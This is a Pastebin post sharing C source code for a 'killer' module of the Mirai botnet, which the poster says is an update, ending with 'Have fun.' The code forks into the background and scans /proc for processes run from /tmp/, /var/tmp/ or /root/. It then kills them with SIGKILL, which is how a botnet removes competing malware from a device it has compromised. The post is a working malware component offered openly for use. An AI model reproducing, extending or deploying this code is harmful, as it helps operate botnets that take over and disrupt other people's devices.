Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //Updated killer for mirai with pornhub link ;) Have fun.
- #define _GNU_SOURCE
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <arpa/inet.h>
- #include <linux/limits.h>
- #include <sys/types.h>
- #include <dirent.h>
- #include <signal.h>
- #include <fcntl.h>
- #include <time.h>
- #include "includes.h"
- #include "killer.h"
- #include "table.h"
- #include "util.h"
- int mem_truez(char *buf, int buf_len, char *str, int str_len)
- {
- int matches = 0;
- if(str_len > buf_len)
- return FALSE;
- while(buf_len--)
- {
- if(*buf++ == str[matches])
- {
- if(++matches == str_len)
- return TRUE;
- }
- else
- matches = 0;
- }
- return FALSE;
- }
- void killer_init(void)
- {
- int pidd = fork();
- if(pidd > 0 || pidd == -1)
- return;
- char *RandBots[] = {
- "/tmp/",
- "/var/tmp/",
- "/root/",
- };
- int size = 3;//add strings up above to run them all
- char proc_buf[512], dir[1024];
- int a, az;
- FILE *proc;
- //printf("DBG: Starting\r\n");
- while(1){
- for(a = 50; a < 32768; a++){
- if(a == getpid()){
- continue;
- }
- sprintf(dir, "/proc/%d/maps", a);
- proc = fopen(dir, "r");
- if(proc == NULL){/* If pid number isnt in /proc/ restart with a dif number */
- continue;
- }
- while(fgets(proc_buf, sizeof(proc_buf), proc)){ /* Lets print first line of /proc/PID/maps */
- if(strlen(proc_buf) < 50){/* Lets Remove processes without a exe */
- continue;
- }
- char *cut = strdup(proc_buf+73);/* Lets remove some shit out of maps */
- for(az = 0;az < size;az++){
- char *lmao = RandBots[az];
- if(mem_truez(cut, strlen(cut), lmao, strlen(lmao)) == 1){/* Lets look for the binary in maps */
- //printf("DBG: Killing pid %s:%d\r\n", lmao, a);
- kill(a, 9);
- continue;
- }
- //pornhub.com
- //printf("DBG: No killable %s strings for %d | bin: %s", lmao, a, cut);/* nope */
- sleep(3);
- }
- }
- }
- sleep(1);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement